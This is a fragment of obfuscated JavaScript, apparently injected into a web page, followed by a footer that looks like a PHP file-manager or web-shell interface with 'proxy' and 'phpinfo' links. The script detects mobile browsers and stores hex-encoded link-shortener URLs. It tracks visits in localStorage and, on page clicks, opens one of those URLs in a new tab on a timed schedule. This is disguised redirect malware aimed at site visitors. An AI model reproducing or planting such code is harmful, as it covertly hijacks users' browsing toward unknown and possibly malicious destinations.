_0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x4c\x61\x4c\x30\x63\x330','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x49\x68\x56\x31\x63\x301',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());
| ver. 1.4 |
Github
|
.
| PHP 7.3.33 | Generation time: 0.07 |
proxy
|
phpinfo
|
Settings